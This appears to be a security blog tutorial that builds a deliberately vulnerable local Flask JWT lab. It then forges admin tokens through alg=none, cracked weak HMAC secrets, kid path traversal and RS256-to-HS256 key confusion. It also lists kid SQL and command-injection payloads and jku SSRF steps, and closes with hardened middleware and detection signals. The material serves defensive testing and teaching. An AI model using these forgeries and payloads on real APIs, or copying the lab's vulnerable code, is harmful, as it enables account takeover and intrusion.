Exploiting and Auditing JWTs in 2026 - SecurityCipher

Exploiting & Auditing JWTs in 2026: Practical Lab, cURL, Burp & Defense Playbook

JSON Web Tokens (JWTs) sit at the center of almost every modern REST, GraphQL, and microservice authentication flow. When an API trusts a JWT without strict cryptographic and header validation, attackers can forge admin sessions, bypass multi-tenant boundaries, or trigger Server-Side Request Forgery (SSRF) directly through the Authorization: Bearer header.

This guide is built for hands-on penetration testers, bug bounty hunters, and AppSec engineers. Instead of abstract theory, we will spin up a reproducible vulnerable Python/Flask lab, exploit four real-world JWT flaws using curl, Burp Suite, hashcat, jwt_tool, and our client-side JWT Inspector & Security Auditor, and then lock down the code with production-grade defenses.

Interactive Companion: You can decode, audit, and tamper every token in this guide 100% locally in your browser using the SecurityCipher JWT Inspector or practice against live challenges in the JWT Attacks Lab.

1. Local Vulnerable Lab Setup

To test every payload safely on your own machine, create a small isolated directory and spin up a vulnerable Flask API (jwt_lab.py) that simulates four common production mistakes:

  1. Accepting alg: none when signature verification is skipped.
  2. Signing HS256 tokens with a weak dictionary secret (supersecret).
  3. Trusting an unsanitized kid header to read a local key file from disk.
  4. Allowing RS256 to HS256 algorithm confusion or an unvalidated jku header.
mkdir jwt-pentest-lab && cd jwt-pentest-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask pyjwt cryptography

Generate an RSA keypair for the asymmetric endpoints:

openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

Save the following lab server as jwt_lab.py:

import base64
import hashlib
import hmac
import json
import os
from flask import Flask, jsonify, request
import jwt

app = Flask(__name__)
HMAC_SECRET = "supersecret"
with open("private.pem", "r") as f:
    RSA_PRIV = f.read()
with open("public.pem", "r") as f:
    RSA_PUB = f.read()


def verify_hs256_raw(token: str, key_bytes: bytes) -> dict:
    p0, p1, p2 = token.split(".")
    expected = base64.urlsafe_b64encode(
        hmac.new(key_bytes, f"{p0}.{p1}".encode(), hashlib.sha256).digest()
    ).rstrip(b"=").decode()
    if not hmac.compare_digest(expected, p2):
        raise ValueError("Invalid signature")
    pad = p1 + "=" * (-len(p1) % 4)
    return json.loads(base64.urlsafe_b64decode(pad))


@app.route("/login", methods=["POST"])
def login():
    user = (request.json or {}).get("username", "alice")
    token = jwt.encode(
        {"sub": "1042", "username": user, "role": "user"},
        HMAC_SECRET,
        algorithm="HS256",
    )
    return jsonify({"token": token})


@app.route("/login-rs256", methods=["POST"])
def login_rs256():
    user = (request.json or {}).get("username", "alice")
    token = jwt.encode(
        {"sub": "1042", "username": user, "role": "user"},
        RSA_PRIV,
        algorithm="RS256",
        headers={"kid": "public.pem"},
    )
    return jsonify({"token": token, "public_key": RSA_PUB})


@app.route("/admin/alg-none")
def admin_alg_none():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    hdr = jwt.get_unverified_header(token)
    if hdr.get("alg", "").lower() == "none":
        claims = jwt.decode(token, options={"verify_signature": False})
    else:
        claims = jwt.decode(token, HMAC_SECRET, algorithms=["HS256"])
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"status": "pwned via alg=none", "claims": claims})


@app.route("/admin/hmac")
def admin_hmac():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    claims = jwt.decode(token, HMAC_SECRET, algorithms=["HS256"])
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"status": "pwned via weak HMAC secret", "claims": claims})


@app.route("/admin/kid")
def admin_kid():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    hdr = jwt.get_unverified_header(token)
    kid = hdr.get("kid", "public.pem")
    # Vulnerable: unsanitized file path from JWT header
    key_bytes = open(os.path.join(".", kid), "rb").read()
    claims = verify_hs256_raw(token, key_bytes)
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"status": "pwned via kid path traversal", "claims": claims})


@app.route("/admin/key-confusion")
def admin_key_confusion():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    hdr = jwt.get_unverified_header(token)
    alg = hdr.get("alg", "RS256")
    # Vulnerable: trusts header alg and uses RSA public key for HS256
    if alg == "HS256":
        claims = verify_hs256_raw(token, RSA_PUB.encode())
    else:
        claims = jwt.decode(token, RSA_PUB, algorithms=["RS256"])
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"status": "pwned via RS256->HS256 key confusion", "claims": claims})


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5055, debug=False)

Start the lab server in one terminal:

python3 jwt_lab.py

Verify you can fetch a normal user token and hit a protected route:

TOKEN=$(curl -s -X POST http://127.0.0.1:5055/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "$TOKEN"
curl -i -s http://127.0.0.1:5055/admin/hmac -H "Authorization: Bearer $TOKEN"

You should receive HTTP/1.1 403 FORBIDDEN because role is "user".

2. Fast Triage: Browser Inspector & Burp Suite Workflow

Before firing brute-force or fuzzing scripts, inspect the token structure to identify which attack classes apply:

  1. Client-Side WebCrypto Triage: Paste the captured JWT into the SecurityCipher JWT Inspector. It immediately flags missing exp claims, alg=none, kid parameters, jku/x5u remote key URLs, and tests common weak HMAC secrets locally in your browser without sending the token over the network.
SecurityCipher JWT Inspector flagging a critical jku remote key header
  1. Burp Suite Repeater + JWT Editor:
  • Install JWT Editor from the BApp Store.
  • Send any authenticated request to Repeater (Ctrl+R / Cmd+R).
  • Switch to the JSON Web Token tab inside the request editor to view decoded claims, run Attack → 'none' Signing Algorithm, or Attack → Embedded JWK directly inside Burp.
Header / Claim SignalPrimary Attack Vector to Test
"alg": "HS256" / "HS512"Offline secret cracking (hashcat -m 16500), empty secret
"alg": "RS256" / "PS256"RS256 → HS256 key confusion using server's public PEM
"kid": "..."Path traversal (../../../../dev/null), SQL injection, command injection
"jku": "https://..." or "x5u"SSRF + rogue JWKS hosting
"jwk": { ... }Embedded JWK self-signed token forgery
Missing "exp"Indefinite session replay after user logout

3. Attack 1: Signature Stripping (alg=none)

Some custom auth middleware inspects the JWT header first and skips verification if alg is set to none (or variants like None, NONE, nOnE).

Exploit via Python + curl

Build an unsigned token with "alg": "none", "role": "admin", and a trailing dot (. with an empty signature):

NONE_TOKEN=$(python3 -c '
import base64, json
def b64u(d):
    return base64.urlsafe_b64encode(json.dumps(d, separators=(",", ":")).encode()).rstrip(b"=").decode()
print(b64u({"alg": "none", "typ": "JWT"}) + "." + b64u({"sub": "1042", "username": "alice", "role": "admin"}) + ".")
')

curl -s http://127.0.0.1:5055/admin/alg-none \
  -H "Authorization: Bearer $NONE_TOKEN"

Expected output:

{"claims":{"role":"admin","sub":"1042","username":"alice"},"status":"pwned via alg=none"}

Burp Tip: If "alg": "none" is blocked by a naive string check, test case variations ("None", "NONE", "nOnE") or strip the signature while leaving "alg": "HS256" intact to test for unverified signature acceptance.

4. Attack 2: Cracking Weak HMAC Secrets & Re-Signing

Because HS256 uses a symmetric shared secret, an attacker can crack the secret 100% offline from a single captured JWT, without touching the target API's rate limiter.

Option A: hashcat (Mode 16500)

Save the captured token to jwt.txt and run hashcat with rockyou.txt or a custom wordlist:

echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --show

Option B: jwt_tool

python3 jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txt

Forging the Admin Token

Once the weak secret (supersecret) is recovered, forge a new admin JWT and replay it with curl:

ADMIN_TOKEN=$(python3 -c '
import jwt
print(jwt.encode({"sub": "1042", "username": "alice", "role": "admin"}, "supersecret", algorithm="HS256"))
')

curl -s http://127.0.0.1:5055/admin/hmac \
  -H "Authorization: Bearer $ADMIN_TOKEN"

Expected output:

{"claims":{"role":"admin","sub":"1042","username":"alice"},"status":"pwned via weak HMAC secret"}

5. Attack 3: kid Header Path Traversal (../../dev/null)

The kid (Key ID) header tells the server which key file or database row to load for verification. When kid is passed unsanitized into open() or fs.readFileSync(), you can point it to /dev/null - a file that exists on every Linux/macOS host and contains zero bytes ("").

If you then sign your forged HS256 admin token with an empty string ("") as the HMAC key, the signature matches!

KID_TOKEN=$(python3 -c '
import jwt
print(jwt.encode(
    {"sub": "1042", "username": "alice", "role": "admin"},
    "",
    algorithm="HS256",
    headers={"kid": "../../../../../../../../dev/null"}
))
')

curl -s http://127.0.0.1:5055/admin/kid \
  -H "Authorization: Bearer $KID_TOKEN"

Expected output:

{"claims":{"role":"admin","sub":"1042","username":"alice"},"status":"pwned via kid path traversal"}

Other kid Injection Payloads to Test

  • SQL Injection in kid: "kid": "nonexistent' UNION SELECT 'attacker_key' -- " (forces the SQL key lookup to return your known string attacker_key).
  • Command Injection in kid: "kid": "key1 | sleep 5" (when legacy services shell out to openssl or gpg).

6. Attack 4: RS256 → HS256 Algorithm Confusion & jku SSRF

When an API signs tokens with RS256 (asymmetric RSA private key), it verifies them using the public key (public.pem). If the verification library allows the token header's alg to dictate the verification algorithm (algorithms=[hdr['alg']]), an attacker can:

  1. Obtain the server's public key (from /login-rs256, /.well-known/jwks.json, or the TLS certificate via openssl s_client -connect target.com:443 </dev/null | openssl x509 -pubkey -noout).
  2. Change the JWT header from "alg": "RS256" to "alg": "HS256".
  3. Sign the forged admin payload using the public key bytes as the HMAC secret.
CONFUSED_TOKEN=$(python3 -c '
import base64, hashlib, hmac, json

def b64u(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

with open("public.pem", "rb") as f:
    pub_bytes = f.read()

body = b64u({"alg": "HS256", "typ": "JWT"}) + "." + b64u({"sub": "1042", "username": "alice", "role": "admin"})
sig = hmac.new(pub_bytes, body.encode(), hashlib.sha256).digest()
print(body + "." + b64u(sig))
')

curl -s http://127.0.0.1:5055/admin/key-confusion \
  -H "Authorization: Bearer $CONFUSED_TOKEN"

Expected output from jwt_lab.py:

1. Baseline Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDQyIiwidXNlcm5hbWUiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.VdPq43j_5hLNNDWPbgS7X6th87R61rBpE9oZ_RopZkM
4. key confusion: 200 {"claims":{"role":"admin","sub":"1042","username":"alice"},"status":"pwned via RS256->HS256 key confusion"}

(Note: Modern PyJWT >= 2.x blocks asymmetric PEM keys inside HS256 by default unless jwks / custom wrappers bypass is_pem_format, whereas many custom Go, Node, and Java implementations remain vulnerable when alg is not pinned.)

Testing jku / x5u Remote Key Hosting

If a JWT contains "jku": "https://auth.target.com/.well-known/jwks.json", test whether the server fetches arbitrary URLs:

  1. Generate an RSA keypair and export its JWK using jwt_tool or Burp JWT Editor.
  2. Host the jwks.json on an attacker-controlled server (or test SSRF with an Interactsh/Burp Collaborator URL).
  3. Update "jku" to point to your hosted jwks.json and sign the admin token with your matching private key.

7. Real-World Scenarios & Bug Bounty Writeups

In production engagements and bug bounty programs, JWT bugs rarely look like textbook CTFs. Here are three real-world attack scenarios and curated public writeups from the SecurityCipher Bug Bounty Writeups Database:

Scenario A: Multi-Tenant SaaS Admin Takeover via Microservice Gateway Mismatch

An API gateway verifies incoming JWTs with RS256 against a public JWKS endpoint, but a downstream microservice re-parses the Authorization header with a legacy library that trusts "alg": "HS256" using the same cached PEM certificate. By re-signing the token with the public PEM key, an attacker escalates "org_role": "member" to "org_role": "owner" across any tenant.

Scenario B: Bypassing KYC / Step-Up Verification via Unverified Mobile JWTs

Mobile backends sometimes decode step-up verification tokens (biometric KYC, 2FA recovery, or OTP confirmation) using jwt.decode(..., verify=False) inside an internal microservice, assuming the API gateway already checked the signature. Swapping "kyc_verified": false to true bypasses identity checks completely.

Scenario C: Cross-Tenant Token Leakage via BOLA / SSRF

Even with rock-solid RS256 signing, exposing signed JWTs in cacheable /api/v1/sessions/{id} responses, referrer headers, or verbose debug logs lets attackers replay high-privilege sessions across tenant boundaries.

Curated JWT Bug Bounty Writeups to Study

8. Production-Grade Defenses & Detection

Fixing JWT vulnerabilities requires enforcing strict invariants at verification time - never trust any field inside the unverified JWT header.

Hardened Verification Middleware (Python / PyJWT)

import os
import jwt
from flask import abort, request

ALLOWED_ALGORITHMS = ["RS256"]
EXPECTED_ISSUER = "https://auth.example.com"
EXPECTED_AUDIENCE = "api.example.com"

# Pin keys in memory or map kid through a strict static allowlist
KEY_RING = {
    "prod-rsa-2026-01": os.environ["JWT_PUBLIC_KEY_PEM"],
}


def verify_bearer_token() -> dict:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer "):
        abort(401)

    token = auth_header[7:].strip()
    try:
        header = jwt.get_unverified_header(token)
        if header.get("alg") not in ALLOWED_ALGORITHMS:
            abort(401)

        kid = header.get("kid")
        if kid not in KEY_RING:
            abort(401)

        # Reject remote key-fetching headers outright
        if any(k in header for k in ("jku", "x5u", "jwk")):
            abort(401)

        claims = jwt.decode(
            token,
            KEY_RING[kid],
            algorithms=ALLOWED_ALGORITHMS,
            issuer=EXPECTED_ISSUER,
            audience=EXPECTED_AUDIENCE,
            options={"require": ["exp", "iat", "sub"]},
        )
        return claims
    except jwt.PyJWTError:
        abort(401)

Key Hardening Checklist for Engineering Teams

  1. Pin algorithms server-side: Never read alg from get_unverified_header() to pass into jwt.decode().
  2. Allowlist kid values: Map kid through an in-memory dictionary (KEY_RING[kid]). Never concatenate kid into filesystem paths, SQL queries, or shell commands.
  3. Block jku, x5u, and inline jwk: Only fetch JWKS from a hardcoded, static HTTPS URL at startup/refresh - never from a URL inside the token header.
  4. Enforce high-entropy secrets: If using HS256, generate at least 256 bits of random entropy (openssl rand -hex 32) and rotate keys regularly.
  5. Require exp, iss, and aud: Reject tokens missing expiration or audience claims to prevent cross-service token replay.

SIEM / WAF Detection Signals

Monitor API gateway and application logs for these indicators of active JWT probing:

  • Requests carrying JWT headers where alg is none, None, or HS256 against an RS256-only endpoint.
  • kid header values containing ../, %2e%2e, ', UNION, or |.
  • Outbound HTTP requests from API pods to unknown domains triggered immediately after an inbound Authorization: Bearer request (jku/x5u SSRF attempts).

Frequently Asked Questions

:::faq

Can alg=none still be exploited in modern frameworks?

Modern libraries such as PyJWT >= 2.0 and jsonwebtoken >= 9.0 reject alg=none by default. However, custom API gateway wrappers, legacy microservices, and middleware that inspect get_unverified_header() before calling decode(..., verify_signature=False) still expose alg=none bypasses in production.

Why does PyJWT reject empty /dev/null keys in HS256?

PyJWT 2.x raises InvalidKeyError: HMAC key must not be empty when key_bytes == b"". Older libraries, custom hmac.new() verifiers, and several Node/Go/PHP implementations still accept empty byte slices, making kid=../../../../dev/null a valid attack vector to test during assessments.

How can I test a JWT safely without sending company tokens to third-party sites?

Use a 100% client-side WebCrypto tool like the SecurityCipher JWT Inspector, or decode locally in your terminal with jq / Python / Burp Suite JWT Editor so sensitive bearer tokens never leave your machine.

Should I use HS256 or RS256 / EdDSA for microservice authentication?

Use asymmetric signing (RS256, ES256, or EdDSA) whenever multiple services verify tokens issued by a central identity provider, and always pin the expected algorithm list server-side (algorithms=["RS256"]).

:::

Next Steps & Hands-On Practice

SECURITY DISPATCH

Stay Ahead of Emerging Vulnerabilities

Get hands-on bug bounty write-ups, offensive security tooling guides, and zero-day breakdowns delivered to your inbox.

Subscription Form